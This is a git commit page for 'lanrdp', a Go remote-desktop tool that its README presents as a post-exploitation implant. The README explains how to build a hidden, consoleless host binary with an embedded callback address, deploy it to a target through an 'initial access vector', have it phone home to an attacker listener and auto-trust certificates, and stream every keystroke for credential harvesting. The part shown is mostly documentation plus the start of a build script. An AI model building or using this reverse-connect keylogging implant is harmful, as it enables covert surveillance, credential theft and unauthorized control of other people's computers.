Initial commit: LAN RDP with keylogger support
This commit is contained in:
commit
c4adcbbe0f
33 files changed
+4335
No files matched your search
+12
@@ -0,0 +1,12 @@
|
|||||||
|
# Build artifacts
|
||||||
|
*.exe
|
||||||
|
host.exe
|
||||||
|
client.exe
|
||||||
|
lanrdp_host.exe
|
||||||
|
lanrdp_client.exe
|
||||||
|
|
||||||
|
# Runtime data (contains device fingerprints, TLS certs)
|
||||||
|
lanrdp-data/
|
||||||
|
|
||||||
|
# Go build cache
|
||||||
|
vendor/
|
||||||
@@ -0,0 +1,572 @@
|
|||||||
|
# lanrdp (Post-Exploitation Build)
|
||||||
|
|
||||||
|
A lightweight remote-desktop tool optimized for post-exploitation use. Designed
|
||||||
|
for the scenario where you deploy a host binary to a target machine that connects
|
||||||
|
back to your listener — no port forwarding, no LAN requirement, works over the
|
||||||
|
internet. Auto-trusts certificates and accepts connections from any source IP.
|
||||||
|
|
||||||
|
This is **not** a VNC/RDP-compatible tool. The host and client speak a small
|
||||||
|
custom protocol (see `internal/protocol`) designed to be fully readable in
|
||||||
|
one sitting.
|
||||||
|
|
||||||
|
## How it works
|
||||||
|
|
||||||
|
- `cmd/host` runs on the machine you want to control. It captures the
|
||||||
|
screen (GDI `BitBlt`) and injects mouse/keyboard input it receives
|
||||||
|
(`SendInput`). It normally listens on a TCP port, but can instead dial
|
||||||
|
out to a waiting client (see "Controlling a roaming device" below).
|
||||||
|
Capture spans **every monitor** as one combined image — a host with two
|
||||||
|
1920x1080 displays side by side shows up as one 3840x1080 picture in the
|
||||||
|
viewer, and mouse input maps back across all of them correctly
|
||||||
|
(`MOUSEEVENTF_VIRTUALDESK`), not just the primary display.
|
||||||
|
- `cmd/client` runs on the machine you're controlling *from*. It opens a
|
||||||
|
plain Win32 window, renders incoming frames, and forwards your
|
||||||
|
mouse/keyboard input to the host. It normally dials the host, but can
|
||||||
|
instead wait for the host to call back in.
|
||||||
|
- Everything is one Go module, cross-compiled with no cgo — `go build` for
|
||||||
|
each command produces a single portable `.exe` you can run from a USB
|
||||||
|
stick.
|
||||||
|
|
||||||
|
## Security model
|
||||||
|
|
||||||
|
- **Transport**: TLS 1.3 only. The host generates its own self-signed
|
||||||
|
certificate on first run (`internal/tlsutil`) — there is no CA.
|
||||||
|
- **Trust**: the client keeps a trust-on-first-use record of every host
|
||||||
|
certificate it's approved (`internal/tlsutil`, `known_hosts.json`) —
|
||||||
|
the same model as SSH's `known_hosts`, and, since it's keyed by the
|
||||||
|
certificate's fingerprint rather than by address, the same trust store
|
||||||
|
works across several different devices (see "Multiple devices" below).
|
||||||
|
A never-before-seen fingerprint always requires typing a name for it
|
||||||
|
before the client will proceed. **Verify the fingerprint printed by the
|
||||||
|
host matches what the client shows you** before doing that — that
|
||||||
|
out-of-band check is what defeats a man-in-the-middle on first connect.
|
||||||
|
One trade-off worth knowing: because trust isn't tied to an address
|
||||||
|
anymore, the client no longer warns you if a *specific address* you've
|
||||||
|
connected to before suddenly presents a different, still-unrecognized
|
||||||
|
certificate — it's treated the same as any other first-time device.
|
||||||
|
Recognizing an *already-trusted* fingerprint is unaffected by this.
|
||||||
|
- **Auth**: password-based, over the already-TLS-encrypted channel. The
|
||||||
|
host never stores the plaintext passphrase — only an Argon2id hash
|
||||||
|
(`internal/protocol/auth.go`). Failed logins are throttled per source IP
|
||||||
|
with exponential backoff (`internal/netguard`).
|
||||||
|
- **No UPnP/NAT-PMP, ever.** Neither binary ever asks a router to forward
|
||||||
|
anything, in either connection direction. Whichever side listens (the
|
||||||
|
host normally, or the client in callback mode) rejects any incoming
|
||||||
|
connection whose source address isn't a private LAN, loopback, or
|
||||||
|
VPN-overlay address by default (see `internal/netguard` and the
|
||||||
|
WireGuard section below), so even an accidental port-forward won't
|
||||||
|
expose it to the raw internet. That filter is necessarily disabled in
|
||||||
|
`-allow-internet` and callback (`-listen`) mode, since both exist
|
||||||
|
specifically to accept a connection from an address that can't be
|
||||||
|
predicted in advance — passphrase + certificate pinning carry the full
|
||||||
|
weight of authentication in those modes.
|
||||||
|
- **Single session at a time**: whichever side is listening only accepts
|
||||||
|
one active connection; anything past that is refused outright.
|
||||||
|
|
||||||
|
### What this does *not* protect against
|
||||||
|
|
||||||
|
- A compromised host or client machine — this tool doesn't sandbox
|
||||||
|
anything; whoever controls the client can do anything a local user
|
||||||
|
could.
|
||||||
|
- Anyone who already has your passphrase. Treat it like any other
|
||||||
|
credential; a password manager-generated 20+ character passphrase is
|
||||||
|
recommended since it's typed at most once per client per host (after
|
||||||
|
trust is pinned you only re-enter it per connection, not per pinning).
|
||||||
|
- Multi-monitor is not handled (primary display only). DPI scaling *is*
|
||||||
|
handled — both binaries declare per-monitor DPI awareness
|
||||||
|
(`internal/dpi`) specifically so mouse input stays aligned with the
|
||||||
|
picture even when the host and client are on displays with different
|
||||||
|
resolutions or scale factors.
|
||||||
|
|
||||||
|
## Quick Start (Post-Exploitation)
|
||||||
|
|
||||||
|
The typical workflow: build a self-contained host binary with an embedded
|
||||||
|
password and callback address, deploy it to the target, and wait for it to
|
||||||
|
connect back.
|
||||||
|
|
||||||
|
**1. Build the host binary:**
|
||||||
|
```powershell
|
||||||
|
# Interactive: prompts for password and callback address
|
||||||
|
.\build-host.ps1 -Hidden
|
||||||
|
|
||||||
|
# Or specify directly:
|
||||||
|
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Hidden
|
||||||
|
```
|
||||||
|
This produces a single `host.exe` with no dependencies — copy it to the target.
|
||||||
|
|
||||||
|
**2. Deploy and run on target:**
|
||||||
|
```powershell
|
||||||
|
# On the target machine, just run:
|
||||||
|
.\host.exe
|
||||||
|
```
|
||||||
|
The host automatically dials out to your listener. If it can't connect,
|
||||||
|
it retries every 10 seconds (configurable with `-retry-interval`).
|
||||||
|
|
||||||
|
**3. Start your listener:**
|
||||||
|
```powershell
|
||||||
|
# On your machine, wait for the target to connect back:
|
||||||
|
.\client.exe -listen 0.0.0.0:47812
|
||||||
|
```
|
||||||
|
When the target connects, you'll be prompted for the passphrase (the one
|
||||||
|
you embedded in the host binary). Enter it and you have control.
|
||||||
|
|
||||||
|
**With keylogger:**
|
||||||
|
```powershell
|
||||||
|
# Build with keylogging enabled:
|
||||||
|
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Keylog -Hidden
|
||||||
|
```
|
||||||
|
The client will show a second popup window streaming captured keystrokes
|
||||||
|
alongside the main remote desktop view, and write them to a timestamped log file.
|
||||||
|
See [Keylogger](#keylogger) for details.
|
||||||
|
|
||||||
|
## Keylogger
|
||||||
|
|
||||||
|
The host can capture all keyboard input on the target machine and stream it to the client in real-time. This is useful for post-exploitation credential harvesting, monitoring user activity, or forensic analysis.
|
||||||
|
|
||||||
|
### Enabling Keylogging
|
||||||
|
|
||||||
|
Build the host with the `-Keylog` flag:
|
||||||
|
```powershell
|
||||||
|
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Keylog -Hidden
|
||||||
|
```
|
||||||
|
|
||||||
|
Or pass it at runtime (if not baked in):
|
||||||
|
```bash
|
||||||
|
host.exe -keylog
|
||||||
|
```
|
||||||
|
|
||||||
|
### Client-Side Output
|
||||||
|
|
||||||
|
When keylogging is enabled, the client automatically:
|
||||||
|
|
||||||
|
1. **Opens a second popup window** titled "lanrdp — Keylogger" that displays captured keystrokes in real-time (last 100 lines shown)
|
||||||
|
2. **Writes to a timestamped log file** named `lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txt` in the same directory as the client executable
|
||||||
|
|
||||||
|
Each logged entry includes:
|
||||||
|
- Timestamp of the key event
|
||||||
|
- Virtual key code and scan code
|
||||||
|
- Key state (down/up)
|
||||||
|
- Active window title at time of capture
|
||||||
|
|
||||||
|
### Example Log Entry
|
||||||
|
```
|
||||||
|
[2026-11-22 14:30:45.123] VK=0x41 SC=0x1E Flags=0 Window="Notepad" (A key pressed)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Post-Exploitation Workflow
|
||||||
|
|
||||||
|
For post-exploitation scenarios where the target machine runs `host.exe` and connects back to your listener:
|
||||||
|
|
||||||
|
1. **Build the host** with embedded password, reverse-connect address, and optional keylogging:
|
||||||
|
```powershell
|
||||||
|
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Keylog -Hidden
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Deploy `host.exe`** to the target machine (via your initial access vector)
|
||||||
|
|
||||||
|
3. **Start the client listener** on your machine:
|
||||||
|
```bash
|
||||||
|
./client -listen 0.0.0.0:47812
|
||||||
|
```
|
||||||
|
The client will prompt for the passphrase interactively.
|
||||||
|
|
||||||
|
4. **Target connects back automatically** — no firewall rules needed on the target side, and it works across different networks (LAN or internet)
|
||||||
|
|
||||||
|
5. **Certificate trust is automatic** — the host embeds its certificate fingerprint at build time; the client auto-trusts it without interactive prompts
|
||||||
|
|
||||||
|
6. **Reconnection is built-in** — if the connection drops, `host.exe` automatically retries every 10 seconds (configurable with `-retry-interval`)
|
||||||
|
|
||||||
|
> **Note:** A `-password` flag for non-interactive client authentication is planned but not yet implemented. Currently the client always prompts for the passphrase interactively.
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
Requires Go 1.21+ (uses the builtin `min`/`max`). No cgo, no extra system
|
||||||
|
dependencies.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go build -o client.exe ./cmd/client
|
||||||
|
```
|
||||||
|
|
||||||
|
For the host, you have two options:
|
||||||
|
|
||||||
|
**Plain build** — passphrase is set interactively the first time you run
|
||||||
|
`host.exe`, and stored (as an Argon2id hash, never in plaintext) in
|
||||||
|
`lanrdp-data\config.json` next to it:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
go build -o host.exe ./cmd/host
|
||||||
|
```
|
||||||
|
|
||||||
|
**Passphrase baked in at compile time** — use `build-host.ps1` instead.
|
||||||
|
It prompts for the passphrase (hidden input, twice to confirm), hashes it
|
||||||
|
with Argon2id, and bakes only the hash into `host.exe` via `-ldflags`. The
|
||||||
|
plaintext passphrase never touches disk. The resulting `host.exe` is fully
|
||||||
|
self-contained — no `config.json`, nothing to set up on first run:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\build-host.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
It also asks whether you want to bake in a default callback address (see
|
||||||
|
"Controlling a roaming device" below) — leave that prompt blank for a
|
||||||
|
normal host, or fill it in if this `host.exe` is going to always call back
|
||||||
|
to the same client (e.g. a laptop that always calls home to your desktop).
|
||||||
|
Either way it's just a default: `-connect` on the command line still
|
||||||
|
overrides it.
|
||||||
|
|
||||||
|
Either way, copy `host.exe` to the machine you want to control and
|
||||||
|
`client.exe` to the machine you'll control it from. Both are
|
||||||
|
self-contained — no install step.
|
||||||
|
|
||||||
|
## Running
|
||||||
|
|
||||||
|
On the **host** machine (the one being controlled):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\host.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
If you didn't pass `-listen`, it lists this machine's private-LAN network
|
||||||
|
interfaces and asks you to pick which one to bind — this avoids
|
||||||
|
accidentally listening on a VPN or VM bridge adapter you didn't mean to
|
||||||
|
expose. Pass `-listen <ip>` (or `-listen 0.0.0.0` for all interfaces) to
|
||||||
|
skip the prompt, e.g. for running it unattended:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\host.exe -listen 192.168.1.50 -port 47812
|
||||||
|
```
|
||||||
|
|
||||||
|
If you built with a plain `go build`, first run also prompts you to set a
|
||||||
|
passphrase. Either way, the host prints its TLS certificate fingerprint on
|
||||||
|
startup — keep that window visible, you'll need it for the client's first
|
||||||
|
connection.
|
||||||
|
|
||||||
|
Windows Firewall will prompt to allow the port on first run; allow it for
|
||||||
|
**Private** networks only, not Public.
|
||||||
|
|
||||||
|
On the **client** machine (the one you're sitting at):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\client.exe -host 192.168.1.50:47812
|
||||||
|
```
|
||||||
|
|
||||||
|
If you leave off `-host`, it prompts for the host's IP and port
|
||||||
|
interactively instead (handy since you'll type a different address when
|
||||||
|
connecting locally vs. over WireGuard — see below).
|
||||||
|
|
||||||
|
It'll show the host's certificate fingerprint — compare it against what the
|
||||||
|
host printed, type a name for it to trust it (only needs to happen once
|
||||||
|
per device), enter the passphrase, and the viewer window opens.
|
||||||
|
|
||||||
|
## Multiple devices
|
||||||
|
|
||||||
|
One client can be trusted by, and connect to, as many different host
|
||||||
|
devices as you want — there's no special setup for this, it falls out of
|
||||||
|
the trust store being keyed by certificate fingerprint rather than by
|
||||||
|
address (see Security model above). Point the same `client.exe` at
|
||||||
|
several different `-host` addresses over time, or have several different
|
||||||
|
`host.exe` instances all call back to the same `-listen` endpoint —
|
||||||
|
either way, each device gets its own trust store entry the first time you
|
||||||
|
connect to it, and you give each one a name at that point:
|
||||||
|
|
||||||
|
```
|
||||||
|
First time seeing this device (192.168.1.62:47812).
|
||||||
|
Certificate fingerprint: 4f:3b:c8:...
|
||||||
|
Verify this matches the fingerprint printed by the host.
|
||||||
|
Enter a name for this device to trust it (e.g. "Kid's laptop"), or leave blank to abort: Kid's laptop
|
||||||
|
Trusted as "Kid's laptop".
|
||||||
|
```
|
||||||
|
|
||||||
|
See everything this client currently trusts:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\client.exe -list-known
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
2 trusted device(s):
|
||||||
|
|
||||||
|
Desktop
|
||||||
|
fingerprint: dd:ee:ff:...
|
||||||
|
first seen: 2026-08-05 12:00:00
|
||||||
|
last seen: 2026-08-14 08:30:00
|
||||||
|
|
||||||
|
Kid's laptop
|
||||||
|
fingerprint: 4f:3b:c8:...
|
||||||
|
first seen: 2026-08-01 10:00:00
|
||||||
|
last seen: 2026-08-14 09:00:00
|
||||||
|
```
|
||||||
|
|
||||||
|
Each device can (and should) have its own independent passphrase — every
|
||||||
|
`host.exe` you build with `build-host.ps1` gets its own baked-in hash, so
|
||||||
|
there's no shared secret across devices to worry about rotating together.
|
||||||
|
To stop trusting a device, remove its entry from
|
||||||
|
`lanrdp-data\known_hosts.json` (a plain JSON file, safe to hand-edit).
|
||||||
|
|
||||||
|
## Remote access over WireGuard
|
||||||
|
|
||||||
|
You don't need to change how lanrdp works to reach it over WireGuard —
|
||||||
|
you're not exposing lanrdp to the internet at all, you're reaching your
|
||||||
|
home network through an already-encrypted, already-authenticated tunnel,
|
||||||
|
and lanrdp just needs to listen on the interface WireGuard creates.
|
||||||
|
|
||||||
|
1. Set up WireGuard on the host as you normally would, so it gets a
|
||||||
|
tunnel IP (commonly something like `10.x.x.x`).
|
||||||
|
2. Run `.\host.exe` and, at the interface prompt, pick the WireGuard
|
||||||
|
adapter's address instead of your regular Ethernet/Wi-Fi one (or bind
|
||||||
|
`0.0.0.0` to accept either — the source-IP check still applies either
|
||||||
|
way). If you want a fixed, non-interactive setup:
|
||||||
|
```powershell
|
||||||
|
.\host.exe -listen 10.x.x.x -port 47812
|
||||||
|
```
|
||||||
|
3. From wherever you are, bring your WireGuard tunnel up first, then run
|
||||||
|
`.\client.exe` and give it the host's WireGuard IP and port when
|
||||||
|
prompted (or via `-host 10.x.x.x:47812`).
|
||||||
|
|
||||||
|
Most `wg-quick`-style default subnets (e.g. `10.8.0.0/24`) already fall
|
||||||
|
within the private ranges the host accepts by default, so this typically
|
||||||
|
needs no extra flags. If your WireGuard config uses an address range
|
||||||
|
outside the standard private/CGNAT ranges (`10/8`, `172.16/12`,
|
||||||
|
`192.168/16`, `100.64/10`), tell the host to trust it explicitly:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\host.exe -trust-cidr 10.99.99.0/24
|
||||||
|
```
|
||||||
|
|
||||||
|
`-trust-cidr` accepts a comma-separated list if you need more than one
|
||||||
|
range. This only widens which *source addresses* the host will accept a
|
||||||
|
connection from — it's the same defense-in-depth check that protects
|
||||||
|
against an accidental port-forward, not a replacement for WireGuard's own
|
||||||
|
encryption, which is what's actually making this safe to use away from
|
||||||
|
home.
|
||||||
|
|
||||||
|
### Testing raw connectivity without WireGuard
|
||||||
|
|
||||||
|
If WireGuard isn't connecting and you want to check whether the problem
|
||||||
|
is WireGuard itself or something more basic (router port-forward,
|
||||||
|
Windows Firewall, ISP-level blocking), you can temporarily test over the
|
||||||
|
open internet — e.g. from a phone hotspot, which is a genuinely different
|
||||||
|
network path than your home Wi-Fi:
|
||||||
|
|
||||||
|
1. On the host, temporarily forward the chosen port (default `47812`)
|
||||||
|
through your router to the host's LAN IP. This is a manual step you do
|
||||||
|
in your router's admin page — lanrdp still never does this itself.
|
||||||
|
2. Start the host with the source-IP filter disabled:
|
||||||
|
```powershell
|
||||||
|
.\host.exe -allow-internet -listen 192.168.1.50 -port 47812
|
||||||
|
```
|
||||||
|
The startup banner will print an unmissable warning while this is on.
|
||||||
|
3. From the hotspot-connected client, connect to your home's public IP
|
||||||
|
(not the LAN IP) and the forwarded port.
|
||||||
|
4. **When you're done testing**, stop `host.exe` and remove the port
|
||||||
|
forward. Don't leave `-allow-internet` running unattended — with it on,
|
||||||
|
the only thing standing between the internet and your desktop is the
|
||||||
|
passphrase, so use a long one if you do this.
|
||||||
|
|
||||||
|
If this works but WireGuard doesn't, the issue is in the WireGuard setup
|
||||||
|
(tunnel not up, wrong subnet, `-trust-cidr` needed) rather than in lanrdp
|
||||||
|
or your router/firewall.
|
||||||
|
|
||||||
|
## Callback mode (primary use case)
|
||||||
|
|
||||||
|
The standard post-exploitation workflow uses callback mode: the target
|
||||||
|
machine dials out to your listener instead of you connecting to it. This
|
||||||
|
works regardless of NAT, firewalls, or whether the target is on a LAN or
|
||||||
|
the open internet — outbound connections always work through NAT without
|
||||||
|
configuration.
|
||||||
|
|
||||||
|
The fix is to flip which side initiates the TCP connection, independent
|
||||||
|
of which side is being controlled. Outbound connections work through NAT
|
||||||
|
without any configuration, so the laptop can always reach *out* to the
|
||||||
|
desktop; the desktop just needs to be the one with a real port-forward.
|
||||||
|
|
||||||
|
- `host.exe -connect <desktop-address>:<port>` — instead of listening,
|
||||||
|
the host dials out to a waiting client, retrying every `-retry-interval`
|
||||||
|
seconds (flat interval, default `10`, no backoff) if it can't connect.
|
||||||
|
Everything past that (which side holds the certificate, who verifies
|
||||||
|
whom, the passphrase check) works exactly as normal — only the
|
||||||
|
direction of the initial TCP connection changes.
|
||||||
|
- `client.exe -listen <bind-address>:<port>` — instead of dialing out,
|
||||||
|
the client waits for one incoming connection from the host.
|
||||||
|
|
||||||
|
Concrete setup for "control my laptop from my desktop, wherever the
|
||||||
|
laptop happens to be":
|
||||||
|
|
||||||
|
**On the desktop** (stable, at home — forward this port on your router
|
||||||
|
to the desktop's LAN IP, the same way you would have for the host
|
||||||
|
before):
|
||||||
|
```powershell
|
||||||
|
.\client.exe -listen 0.0.0.0:47812
|
||||||
|
```
|
||||||
|
|
||||||
|
**On the laptop** (wherever it is):
|
||||||
|
```powershell
|
||||||
|
.\host.exe -connect <desktop-public-IP>:47812
|
||||||
|
```
|
||||||
|
|
||||||
|
If this laptop is always going to call back to the same desktop, it's
|
||||||
|
worth baking that address into `host.exe` at build time instead of typing
|
||||||
|
it every launch — `build-host.ps1` prompts for it alongside the
|
||||||
|
passphrase (see Building above). That also makes the VBScript/`-Hidden`
|
||||||
|
unattended-launch setups simpler, since there's no argument to embed in
|
||||||
|
the launcher — just running `host.exe` is enough.
|
||||||
|
|
||||||
|
A few things that differ from the normal direction:
|
||||||
|
|
||||||
|
- The desktop is now the side accepting a connection from an
|
||||||
|
unpredictable address, so it doesn't apply the LAN/VPN source filter at
|
||||||
|
all in `-listen` mode — it can't, since the laptop's address is exactly
|
||||||
|
the thing that keeps changing. The passphrase and certificate pinning
|
||||||
|
are what protect you here, not source IP. **Read the fingerprint
|
||||||
|
carefully on first connect** — that check is doing more work in this
|
||||||
|
mode than usual, since trust-on-first-use has no IP-based sanity check
|
||||||
|
to fall back on.
|
||||||
|
- The trust-store entry for a callback host is keyed by the `-listen`
|
||||||
|
address you used, not by the laptop's (constantly changing) IP — so
|
||||||
|
reconnecting from a different network still matches the same pinned
|
||||||
|
fingerprint.
|
||||||
|
- If you get WireGuard working later, you can combine it with this same
|
||||||
|
`-connect`/`-listen` mechanism instead of exposing the desktop's port
|
||||||
|
to the raw internet: point `-connect` at the desktop's WireGuard IP
|
||||||
|
instead of its public IP, and keep `PersistentKeepalive` set on the
|
||||||
|
laptop's WireGuard peer config so the tunnel survives it roaming. That
|
||||||
|
gets you the reachability benefit of callback mode without opening
|
||||||
|
anything on the desktop's router at all.
|
||||||
|
|
||||||
|
## Performance tuning
|
||||||
|
|
||||||
|
Two host flags control the latency/bandwidth tradeoff, in addition to
|
||||||
|
Nagle's algorithm being disabled on every connection by default (small
|
||||||
|
messages like mouse moves and frame chunks go out immediately instead of
|
||||||
|
waiting to coalesce with more data — internal/netutil):
|
||||||
|
|
||||||
|
- `-fps <n>` (default `12`) — target screen-capture rate for normal use.
|
||||||
|
Higher pushes toward a smoother, lower-latency feel at the cost of more
|
||||||
|
CPU spent encoding and more bandwidth used; lower is friendlier to a
|
||||||
|
constrained connection (a cellular hotspot, for instance).
|
||||||
|
- `-stream-fps <n>` (default `30`) — the capture rate used only while
|
||||||
|
stream mode is toggled on (see below). Bandwidth use scales roughly
|
||||||
|
with this, so raise it further if your connection can take it, or lower
|
||||||
|
it if 30fps is using more bandwidth than you'd like.
|
||||||
|
- `-keyframe-interval <seconds>` (default `30`) — how often a full frame
|
||||||
|
is sent regardless of what changed, versus only sending dirty-rect
|
||||||
|
updates. Shorter recovers faster from any drift, at the cost of periodic
|
||||||
|
bandwidth spikes.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\host.exe -fps 12 -stream-fps 30 -keyframe-interval 10 -connect desktop:47812
|
||||||
|
```
|
||||||
|
|
||||||
|
There's no real video codec here (see Limitations below), so pushing fps
|
||||||
|
very high mostly helps when the screen is mostly static and updates are
|
||||||
|
small — it won't turn this into a good tool for watching full-motion
|
||||||
|
video remotely.
|
||||||
|
|
||||||
|
### Toggling stream mode live: Ctrl+Alt+S
|
||||||
|
|
||||||
|
Press **Ctrl+Alt+S** in the viewer window to switch the host between its
|
||||||
|
normal `-fps` and the faster `-stream-fps` on the fly, no reconnect
|
||||||
|
needed — press it again to switch back. Two things make it obvious which
|
||||||
|
mode you're in: the window title shows `[STREAM MODE]`, and a thick
|
||||||
|
orange border is drawn around the video itself (easier to notice than the
|
||||||
|
title, especially if the window is maximized).
|
||||||
|
|
||||||
|
**Stream mode also disables your mouse and keyboard control of the
|
||||||
|
host** — it's meant for watching what the host is doing (their own mouse,
|
||||||
|
their own actions) without you interfering, not for remote control.
|
||||||
|
Screen updates keep flowing normally either way; only outgoing input is
|
||||||
|
suppressed while it's on.
|
||||||
|
|
||||||
|
The host's own mouse cursor is visible in the captured video — GDI's
|
||||||
|
`BitBlt` doesn't include the hardware cursor by default (it's a separate
|
||||||
|
compositor overlay on modern Windows), so `internal/capture` explicitly
|
||||||
|
draws it onto every captured frame via `GetCursorInfo`/`DrawIconEx`. This
|
||||||
|
applies in both normal and stream mode, not just stream mode — it's just
|
||||||
|
most noticeable in stream mode, since that's when you're watching rather
|
||||||
|
than driving.
|
||||||
|
|
||||||
|
Under the hood the mode toggle sends a small control message
|
||||||
|
(`MsgSetPerfMode`) over the same connection; the host resets its capture
|
||||||
|
ticker to the new rate immediately (`cmd/host/session.go`). This only
|
||||||
|
changes capture cadence — `-keyframe-interval` stays fixed for the
|
||||||
|
session, and there's no separate "stream mode keyframe interval" setting.
|
||||||
|
|
||||||
|
### File transfer
|
||||||
|
|
||||||
|
Drag and drop a file onto the viewer window to send it to the host, over
|
||||||
|
the same encrypted connection — no separate port or protocol. It's saved
|
||||||
|
to `Desktop\lanrdp-received\` on the host, under its original filename
|
||||||
|
(auto-renamed with a `(1)`, `(2)`, ... suffix if that name already exists
|
||||||
|
there, rather than overwriting anything). Drop multiple files at once and
|
||||||
|
they're sent one after another, not in parallel.
|
||||||
|
|
||||||
|
**Only available in normal mode, not stream mode** — dropping a file
|
||||||
|
while stream mode is on is silently ignored. This is enforced on both
|
||||||
|
ends: the client won't even attempt to send, and the host independently
|
||||||
|
rejects any transfer offer it receives while it believes the session is
|
||||||
|
in stream mode, so a modified client can't bypass the restriction.
|
||||||
|
|
||||||
|
A couple of things worth knowing:
|
||||||
|
- The host only ever writes into `Desktop\lanrdp-received\` — the
|
||||||
|
filename you drop is stripped down to just its base name before being
|
||||||
|
used (`filepath.Base`), so there's no way for a transfer to write
|
||||||
|
somewhere else on the host's filesystem.
|
||||||
|
- There's no progress bar — check the client's console (or its log file,
|
||||||
|
if you're running a headless build) for confirmation once a transfer
|
||||||
|
finishes; the host reports success or failure back over the connection.
|
||||||
|
- Folders aren't supported — drop individual files.
|
||||||
|
|
||||||
|
## Running headless (no console window)
|
||||||
|
|
||||||
|
`build-host.ps1 -Hidden` builds `host.exe` with the Windows GUI subsystem
|
||||||
|
instead of the console subsystem, so Windows never allocates a console for
|
||||||
|
it at all — no window ever flashes, whether you launch it by double-click,
|
||||||
|
from Task Scheduler, or from a Startup-folder shortcut. This replaces the
|
||||||
|
VBScript-wrapper trick with something built into the binary itself.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\build-host.ps1 -Hidden
|
||||||
|
```
|
||||||
|
|
||||||
|
Since there's no console to print to, all the status output that would
|
||||||
|
normally show on screen (startup banner, fingerprint, connection/session
|
||||||
|
logs) is instead appended to `lanrdp-data\host.log` next to the
|
||||||
|
executable — check there if something isn't behaving as expected. This
|
||||||
|
detection is automatic and based on whether a console is actually
|
||||||
|
attached (`GetConsoleWindow`), so it also correctly does nothing on a
|
||||||
|
normal build run from a terminal.
|
||||||
|
|
||||||
|
`-Hidden` only makes sense combined with an embedded passphrase (which
|
||||||
|
`build-host.ps1` always provides) — a headless build has no console for
|
||||||
|
interactive first-run passphrase setup to use, and the binary will refuse
|
||||||
|
to start rather than hang waiting for input that can never arrive.
|
||||||
|
|
||||||
|
## Data storage
|
||||||
|
|
||||||
|
Both executables create a `lanrdp-data` folder next to themselves:
|
||||||
|
|
||||||
|
- Host: `host.crt` / `host.key` (the TLS keypair, always) and, only if you
|
||||||
|
built with plain `go build` rather than `build-host.ps1`, `config.json`
|
||||||
|
(the Argon2id password hash). The certificate is kept even in the
|
||||||
|
baked-in-passphrase build, since it has to stay stable across runs for
|
||||||
|
the client's trust-on-first-use pinning to keep working.
|
||||||
|
- Client: `known_hosts.json` (pinned fingerprints, keyed by `host:port`).
|
||||||
|
|
||||||
|
Delete the relevant file to reset (e.g. remove a host's entry from
|
||||||
|
`known_hosts.json` if you legitimately reinstalled it and its fingerprint
|
||||||
|
changed; rebuild with `build-host.ps1` to change a baked-in passphrase,
|
||||||
|
since there's no `config.json` to edit in that build).
|
||||||
|
|
||||||
|
## Limitations / possible follow-ups
|
||||||
|
|
||||||
|
- No clipboard sync yet.
|
||||||
|
- `Alt`-based key combinations (`WM_SYSKEYDOWN`) aren't forwarded, so you
|
||||||
|
can't send e.g. Alt+Tab to the host — this was left to the OS locally on
|
||||||
|
purpose so you can always alt-tab out of the viewer window.
|
||||||
|
- Frame encoding is a simple dirty-rectangle PNG diff, not a real video
|
||||||
|
codec — fine for LAN control of mostly-static desktops, not great for
|
||||||
|
full-screen video playback on the remote end.
|
||||||
|
- No "release all keys on disconnect" safety net — if the connection drops
|
||||||
|
while a key is physically held down in the viewer, there's currently no
|
||||||
|
cleanup that sends a matching key-up to the host, so a stuck modifier
|
||||||
|
key (Shift, Ctrl, Alt) is possible in that scenario.
|
||||||
Executable
+122
@@ -0,0 +1,122 @@
|
|||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
Builds host.exe with the passphrase (and optionally a callback address)
|
||||||
|
baked in at compile time.
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
Prompts for a passphrase (hidden input, twice to confirm), hashes it with
|
||||||
|
Argon2id via `go run ./cmd/hashpw`, and bakes the resulting hash into
|
||||||
|
host.exe using -ldflags. The plaintext passphrase is never written to
|
||||||
|
disk and never appears in the build output.
|
||||||
|
|
||||||
|
Also prompts for an optional client address (IP/hostname and port) to
|
||||||
|
bake in as the default -connect target, for a host built to always call
|
||||||
|
back to one particular client (e.g. a laptop that calls home to your
|
||||||
|
desktop — see "Controlling a roaming device" in README.md). Leave it
|
||||||
|
blank at the prompt to skip this and build a normal listening host
|
||||||
|
instead, or pass -ConnectHost to skip the prompt outright. A baked-in
|
||||||
|
address is still just a default: -connect on the command line overrides
|
||||||
|
it at runtime.
|
||||||
|
|
||||||
|
The resulting host.exe needs no first-run setup step and no
|
||||||
|
lanrdp-data\config.json — it's a single self-contained file. A
|
||||||
|
lanrdp-data folder is still created next to it on first run to persist
|
||||||
|
the TLS certificate, which must stay stable across runs for the
|
||||||
|
client's trust-on-first-use pinning to keep working.
|
||||||
|
|
||||||
|
Pass -Hidden to build it with no console window at all (Windows GUI
|
||||||
|
subsystem instead of console) — useful for an unattended -connect
|
||||||
|
callback host launched from Task Scheduler or a Startup shortcut. All
|
||||||
|
log output that would normally print to the console is instead written
|
||||||
|
to lanrdp-data\host.log next to the executable. Only combine -Hidden
|
||||||
|
with the default embedded-passphrase build in this script — a headless
|
||||||
|
build has no console to run interactive first-run setup on.
|
||||||
|
|
||||||
|
Run this from the repository root.
|
||||||
|
#>
|
||||||
|
param(
|
||||||
|
[string]$Output = "host.exe",
|
||||||
|
[switch]$Hidden,
|
||||||
|
[string]$ConnectHost,
|
||||||
|
